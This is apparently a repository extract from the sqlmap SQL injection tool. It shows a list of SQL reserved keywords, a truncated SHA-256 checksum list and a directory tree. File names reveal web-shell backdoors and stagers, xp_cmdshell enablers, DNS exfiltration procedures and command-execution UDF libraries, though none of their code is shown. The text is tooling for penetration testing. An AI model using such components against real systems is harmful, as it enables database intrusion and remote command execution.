IGNORE_SERVER_IDS
IMPORT
IN
INACTIVE
INDEX
INDEXES
INFILE
INITIAL
INITIAL_SIZE
INITIATE
INNER
INOUT
INSENSITIVE
INSERT
INSERT_METHOD
INSTALL
INSTANCE
INT
INT1
INT2
INT3
INT4
INT8
INTEGER
INTERSECT
INTERVAL
INTO
INVISIBLE
INVOKER
IO
IO_AFTER_GTIDS
IO_BEFORE_GTIDS
IO_THREAD
IPC
IS
ISOLATION
ISSUER
ITERATE
JOIN
JSON
JSON_TABLE
JSON_VALUE
KEY
KEYRING
KEYS
KEY_BLOCK_SIZE
KILL
LAG
LANGUAGE
LAST
LAST_VALUE
LATERAL
LEAD
LEADING
LEAVE
LEAVES
LEFT
LESS
LEVEL
LIKE
LIMIT
LINEAR
LINES
LINESTRING
LIST
LOAD
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOCK
LOCKED
LOCKS
LOGFILE
LOGS
LONG
LONGBLOB
LONGTEXT
LOOP
LOW_PRIORITY
MASTER
MASTER_AUTO_POSITION
MASTER_BIND
MASTER_COMPRESSION_ALGORITHMS
MASTER_CONNECT_RETRY
MASTER_DELAY
MASTER_HEARTBEAT_PERIOD
MASTER_HOST
MASTER_LOG_FILE
MASTER_LOG_POS
MASTER_PASSWORD
MASTER_PORT
MASTER_PUBLIC_KEY_PATH
MASTER_RETRY_COUNT
MASTER_SERVER_ID
MASTER_SSL
MASTER_SSL_CA
MASTER_SSL_CAPATH
MASTER_SSL_CERT
MASTER_SSL_CIPHER
MASTER_SSL_CRL
MASTER_SSL_CRLPATH
MASTER_SSL_KEY
MASTER_SSL_VERIFY_SERVER_CERT
MASTER_TLS_CIPHERSUITES
MASTER_TLS_VERSION
MASTER_USER
MASTER_ZSTD_COMPRESSION_LEVEL
MATCH
MAXVALUE
MAX_CONNECTIONS_PER_HOUR
MAX_QUERIES_PER_HOUR
MAX_ROWS
MAX_SIZE
MAX_UPDATES_PER_HOUR
MAX_USER_CONNECTIONS
MEDIUM
MEDIUMBLOB
MEDIUMINT
MEDIUMTEXT
MEMBER
MEMORY
MERGE
MESSAGE_TEXT
MICROSECOND
MIDDLEINT
MIGRATE
MINUTE
MINUTE_MICROSECOND
MINUTE_SECOND
MIN_ROWS
MOD
MODE
MODIFIES
MODIFY
MONTH
MULTILINESTRING
MULTIPOINT
MULTIPOLYGON
MUTEX
MYSQL_ERRNO
NAME
NAMES
NATIONAL
NATURAL
NCHAR
NDB
NDBCLUSTER
NESTED
NETWORK_NAMESPACE
NEVER
NEW
NEXT
NO
NODEGROUP
NONE
NOT
NOWAIT
NO_WAIT
NO_WRITE_TO_BINLOG
NTH_VALUE
NTILE
NULL
NULLS
NUMBER
NUMERIC
NVARCHAR
OF
OFF
OFFSET
OJ
OLD
ON
ONE
ONLY
OPEN
OPTIMIZE
OPTIMIZER_COSTS
OPTION
OPTIONAL
OPTIONALLY
OPTIONS
OR
ORDER
ORDINALITY
ORGANIZATION
OTHERS
OUT
OUTER
OUTFILE
OVER
OWNER
PACK_KEYS
PAGE
PARSER
PARTIAL
PARTITION
PARTITIONING
PARTITIONS
PASSWORD_LOCK_TIME
PATH
PERCENT_RANK
PERSIST
PERSIST_ONLY
PHASE
PLUGIN
PLUGINS
PLUGIN_DIR
POINT
POLYGON
PORT
PRECEDES
PRECEDING
PRECISION
PREPARE
PRESERVE
PREV
PRIMARY
PRIVILEGES
PRIVILEGE_CHECKS_USER
PROCEDURE
PROCESS
PROCESSLIST
PROFILE
PROFILES
PROXY
PURGE
QUARTER
QUERY
QUICK
RANDOM
RANGE
RANK
READ
READS
READ_ONLY
READ_WRITE
REAL
REBUILD
RECOVER
RECURSIVE
REDOFILE
REDO_BUFFER_SIZE
REDUNDANT
REFERENCE
REFERENCES
REGEXP
REGISTRATION
RELAY
RELAYLOG
RELAY_LOG_FILE
RELAY_LOG_POS
RELAY_THREAD
RELEASE
RELOAD
REMOTE
REMOVE
RENAME
REORGANIZE
REPAIR
REPEAT
REPEATABLE
REPLACE
REPLICA
REPLICAS
REPLICATE_DO_DB
REPLICATE_DO_TABLE
REPLICATE_IGNORE_DB
REPLICATE_IGNORE_TABLE
REPLICATE_REWRITE_DB
REPLICATE_WILD_DO_TABLE
REPLICATE_WILD_IGNORE_TABLE
REPLICATION
REQUIRE
REQUIRE_ROW_FORMAT
RESET
RESIGNAL
RESOURCE
RESPECT
RESTART
RESTORE
RESTRICT
RESUME
RETAIN
RETURN
RETURNED_SQLSTATE
RETURNING
RETURNS
REUSE
REVERSE
REVOKE
RIGHT
RLIKE
ROLE
ROLLBACK
ROLLUP
ROTATE
ROUTINE
ROW
ROWS
ROW_COUNT
ROW_FORMAT
ROW_NUMBER
RTREE
SAVEPOINT
SCHEDULE
SCHEMA
SCHEMAS
SCHEMA_NAME
SECOND
SECONDARY
SECONDARY_ENGINE
SECONDARY_ENGINE_ATTRIBUTE
SECONDARY_LOAD
SECONDARY_UNLOAD
SECOND_MICROSECOND
SECURITY
SELECT
SENSITIVE
SEPARATOR
SERIAL
SERIALIZABLE
SERVER
SESSION
SET
SHARE
SHOW
SHUTDOWN
SIGNAL
SIGNED
SIMPLE
SKIP
SLAVE
SLOW
SMALLINT
SNAPSHOT
SOCKET
SOME
SONAME
SOUNDS
SOURCE
SOURCE_AUTO_POSITION
SOURCE_BIND
SOURCE_COMPRESSION_ALGORITHMS
SOURCE_CONNECT_RETRY
SOURCE_DELAY
SOURCE_HEARTBEAT_PERIOD
SOURCE_HOST
SOURCE_LOG_FILE
SOURCE_LOG_POS
SOURCE_PASSWORD
SOURCE_PORT
SOURCE_PUBLIC_KEY_PATH
SOURCE_RETRY_COUNT
SOURCE_SSL
SOURCE_SSL_CA
SOURCE_SSL_CAPATH
SOURCE_SSL_CERT
SOURCE_SSL_CIPHER
SOURCE_SSL_CRL
SOURCE_SSL_CRLPATH
SOURCE_SSL_KEY
SOURCE_SSL_VERIFY_SERVER_CERT
SOURCE_TLS_CIPHERSUITES
SOURCE_TLS_VERSION
SOURCE_USER
SOURCE_ZSTD_COMPRESSION_LEVEL
SPATIAL
SPECIFIC
SQL
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQL_AFTER_GTIDS
SQL_AFTER_MTS_GAPS
SQL_BEFORE_GTIDS
SQL_BIG_RESULT
SQL_BUFFER_RESULT
SQL_CACHE
SQL_CALC_FOUND_ROWS
SQL_NO_CACHE
SQL_SMALL_RESULT
SQL_THREAD
SQL_TSI_DAY
SQL_TSI_HOUR
SQL_TSI_MINUTE
SQL_TSI_MONTH
SQL_TSI_QUARTER
SQL_TSI_SECOND
SQL_TSI_WEEK
SQL_TSI_YEAR
SRID
SSL
STACKED
START
STARTING
STARTS
STATS_AUTO_RECALC
STATS_PERSISTENT
STATS_SAMPLE_PAGES
STATUS
STOP
STORAGE
STORED
STRAIGHT_JOIN
STREAM
STRING
SUBCLASS_ORIGIN
SUBJECT
SUBPARTITION
SUBPARTITIONS
SUPER
SUSPEND
SWAPS
SWITCHES
SYSTEM
TABLE
TABLES
TABLESPACE
TABLE_CHECKSUM
TABLE_NAME
TEMPORARY
TEMPTABLE
TERMINATED
TEXT
THAN
THEN
THREAD_PRIORITY
TIES
TIME
TIMESTAMP
TIMESTAMPADD
TIMESTAMPDIFF
TINYBLOB
TINYINT
TINYTEXT
TLS
TO
TRAILING
TRANSACTION
TRIGGER
TRIGGERS
TRUE
TRUNCATE
TYPE
TYPES
UNBOUNDED
UNCOMMITTED
UNDEFINED
UNDO
UNDOFILE
UNDO_BUFFER_SIZE
UNICODE
UNINSTALL
UNION
UNIQUE
UNKNOWN
UNLOCK
UNREGISTER
UNSIGNED
UNTIL
UPDATE
UPGRADE
URL
USAGE
USE
USER
USER_RESOURCES
USE_FRM
USING
UTC_DATE
UTC_TIME
UTC_TIMESTAMP
VALIDATION
VALUE
VALUES
VARBINARY
VARCHAR
VARCHARACTER
VARIABLES
VARYING
VCPU
VIEW
VIRTUAL
VISIBLE
WAIT
WARNINGS
WEEK
WEIGHT_STRING
WHEN
WHERE
WHILE
WINDOW
WITH
WITHOUT
WORK
WRAPPER
WRITE
X509
XA
XID
XML
XOR
YEAR
YEAR_MONTH
ZEROFILL
ZONE
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
ABS
ACOS
ALL
ALLOCATE
ALTER
ANALYSE
ANALYZE
AND
ANY
ARE
ARRAY
ARRAY_AGG
ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASIN
ASYMMETRIC
AT
ATAN
ATOMIC
AUTHORIZATION
AVG
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BETWEEN
BIGINT
BINARY
BLOB
BOOLEAN
BOTH
BY
CALL
CALLED
CARDINALITY
CASCADED
CASE
CAST
CEIL
CEILING
CHAR
CHARACTER
CHARACTER_LENGTH
CHAR_LENGTH
CHECK
CLASSIFIER
CLOB
CLOSE
COALESCE
COLLATE
COLLATION
COLLECT
COLUMN
COMMIT
CONCURRENTLY
CONDITION
CONNECT
CONSTRAINT
CONTAINS
CONVERT
COPY
CORR
CORRESPONDING
COS
COSH
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CUBE
CUME_DIST
CURRENT
CURRENT_CATALOG
CURRENT_DATE
CURRENT_DEFAULT_TRANSFORM_GROUP
CURRENT_PATH
CURRENT_ROLE
CURRENT_ROW
CURRENT_SCHEMA
CURRENT_TIME
CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CYCLE
DATALINK
DATE
DAY
DEALLOCATE
DEC
DECFLOAT
DECIMAL
DECLARE
DEFAULT
DEFERRABLE
DEFINE
DELETE
DENSE_RANK
DEREF
DESC
DESCRIBE
DETERMINISTIC
DISCONNECT
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
DLURLCOMPLETE
DLURLCOMPLETEONLY
DLURLCOMPLETEWRITE
DLURLPATH
DLURLPATHONLY
DLURLPATHWRITE
DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOUBLE
DROP
DYNAMIC
EACH
ELEMENT
ELSE
EMPTY
END
END-EXEC
END_FRAME
END_PARTITION
EQUALS
ESCAPE
EVERY
EXCEPT
EXEC
EXECUTE
EXISTS
EXP
EXTERNAL
EXTRACT
FALSE
FETCH
FILTER
FIRST_VALUE
FLOAT
FLOOR
FOR
FOREIGN
FRAME_ROW
FREE
FREEZE
FROM
FULL
FUNCTION
FUSION
GET
GLOBAL
GRANT
GROUP
GROUPING
GROUPS
HAVING
HOLD
HOUR
IDENTITY
ILIKE
IMPORT
IN
INDICATOR
INITIAL
INITIALLY
INNER
INOUT
INSENSITIVE
INSERT
INT
INTEGER
INTERSECT
INTERSECTION
INTERVAL
INTO
IS
ISNULL
JOIN
JSON_ARRAY
JSON_ARRAYAGG
JSON_EXISTS
JSON_OBJECT
JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG
LANGUAGE
LARGE
LAST_VALUE
LATERAL
LEAD
LEADING
LEFT
LIKE
LIKE_REGEX
LIMIT
LISTAGG
LN
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOG
LOG10
LOWER
MATCH
MATCHES
MATCH_NUMBER
MATCH_RECOGNIZE
MAX
MEASURES
MEMBER
MERGE
METHOD
MIN
MINUTE
MOD
MODIFIES
MODULE
MONTH
MULTISET
NATIONAL
NATURAL
NCHAR
NCLOB
NEW
NO
NONE
NORMALIZE
NOT
NOTNULL
NTH_VALUE
NTILE
NULL
NULLIF
NUMERIC
OCCURRENCES_REGEX
OCTET_LENGTH
OF
OFFSET
OLD
OMIT
ON
ONE
ONLY
OPEN
OR
ORDER
OUT
OUTER
OVER
OVERLAPS
OVERLAY
PARAMETER
PARTITION
PATTERN
PER
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMUTE
PLACING
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECISION
PREPARE
PRIMARY
PROCEDURE
PTF
RANGE
RANK
READS
REAL
RECURSIVE
REF
REFERENCES
REFERENCING
REGR_AVGX
REGR_AVGY
REGR_COUNT
REGR_INTERCEPT
REGR_R2
REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
RELEASE
RESULT
RETURN
RETURNING
RETURNS
REVOKE
RIGHT
ROLLBACK
ROLLUP
ROW
ROWS
ROW_NUMBER
RUNNING
SAVEPOINT
SCOPE
SCROLL
SEARCH
SECOND
SEEK
SELECT
SENSITIVE
SESSION_USER
SET
SHOW
SIMILAR
SIN
SINH
SKIP
SMALLINT
SOME
SPECIFIC
SPECIFICTYPE
SQL
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
START
STATIC
STDDEV_POP
STDDEV_SAMP
SUBMULTISET
SUBSET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSTEM
SYSTEM_TIME
SYSTEM_USER
TABLE
TABLESAMPLE
TAN
TANH
THEN
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TRAILING
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
UESCAPE
UNION
UNIQUE
UNKNOWN
UNMATCHED
UNNEST
UPDATE
UPPER
USER
USING
VALUE
VALUES
VALUE_OF
VARBINARY
VARCHAR
VARIADIC
VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSIONING
WHEN
WHENEVER
WHERE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
XML
XMLAGG
XMLATTRIBUTES
XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
XMLFOREST
XMLITERATE
XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR
# Misc
ORD
MID
================================================
FILE: data/txt/sha256sums.txt
================================================
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt
3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_
35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_
081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_
f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_
78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_
a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt
a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_
8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_
c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_
8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_
af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_
eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt
44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt
9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_
0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_
6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_
4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt
288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml
2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml
14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml
6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml
9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml
86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml
146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml
8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml
a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml
e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml
3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml
0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml
bc23e6213d55390661da57ca7424b3d9876062015cf8f5b66717157bdd3895ea data/xml/errors.xml
d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml
53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml
b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml
0648264166455010921df1ec431e4c97380
gitextract_gly9vf9i/
├── .gitattributes
├── .github/
│ ├── CODE_OF_CONDUCT.md
│ ├── CONTRIBUTING.md
│ ├── FUNDING.yml
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ └── feature_request.md
│ └── workflows/
│ └── tests.yml
├── .gitignore
├── LICENSE
├── README.md
├── data/
│ ├── procs/
│ │ ├── README.txt
│ │ ├── mssqlserver/
│ │ │ ├── activate_sp_oacreate.sql
│ │ │ ├── configure_openrowset.sql
│ │ │ ├── configure_xp_cmdshell.sql
│ │ │ ├── create_new_xp_cmdshell.sql
│ │ │ ├── disable_xp_cmdshell_2000.sql
│ │ │ ├── dns_request.sql
│ │ │ ├── enable_xp_cmdshell_2000.sql
│ │ │ └── run_statement_as_user.sql
│ │ ├── mysql/
│ │ │ ├── dns_request.sql
│ │ │ └── write_file_limit.sql
│ │ ├── oracle/
│ │ │ ├── dns_request.sql
│ │ │ └── read_file_export_extension.sql
│ │ └── postgresql/
│ │ └── dns_request.sql
│ ├── shell/
│ │ ├── README.txt
│ │ ├── backdoors/
│ │ │ ├── backdoor.asp_
│ │ │ ├── backdoor.aspx_
│ │ │ ├── backdoor.cfm_
│ │ │ ├── backdoor.jsp_
│ │ │ └── backdoor.php_
│ │ └── stagers/
│ │ ├── stager.asp_
│ │ ├── stager.aspx_
│ │ ├── stager.cfm_
│ │ ├── stager.jsp_
│ │ └── stager.php_
│ ├── txt/
│ │ ├── common-columns.txt
│ │ ├── common-files.txt
│ │ ├── common-outputs.txt
│ │ ├── common-tables.txt
│ │ ├── keywords.txt
│ │ ├── sha256sums.txt
│ │ ├── smalldict.txt
│ │ ├── user-agents.txt
│ │ └── wordlist.tx_
│ ├── udf/
│ │ ├── README.txt
│ │ ├── mysql/
│ │ │ ├── linux/
│ │ │ │ ├── 32/
│ │ │ │ │ └── lib_mysqludf_sys.so_
│ │ │ │ └── 64/
│ │ │ │ └── lib_mysqludf_sys.so_
│ │ │ └── windows/
│ │ │ ├── 32/
│ │ │ │ └── lib_mysqludf_sys.dll_
│ │ │ └── 64/
│ │ │ └── lib_mysqludf_sys.dll_
│ │ └── postgresql/
│ │ ├── linux/
│ │ │ ├── 32/
│ │ │ │ ├── 10/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 11/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 8.2/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 8.3/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 8.4/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.0/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.1/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.2/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.3/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.4/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ ├── 9.5/
│ │ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ │ └── 9.6/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ └── 64/
│ │ │ ├── 10/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 11/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 12/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 8.2/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 8.3/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 8.4/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.0/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.1/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.2/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.3/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.4/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ ├── 9.5/
│ │ │ │ └── lib_postgresqludf_sys.so_
│ │ │ └── 9.6/
│ │ │ └── lib_postgresqludf_sys.so_
│ │ └── windows/
│ │ └── 32/
│ │ ├── 8.2/
│ │ │ └── lib_postgresqludf_sys.dll_
│ │ ├── 8.3/
│ │ │ └── lib_postgresqludf_sys.dll_
│ │ ├── 8.4/
│ │ │ └── lib_postgresqludf_sys.dll_
│ │ └── 9.0/
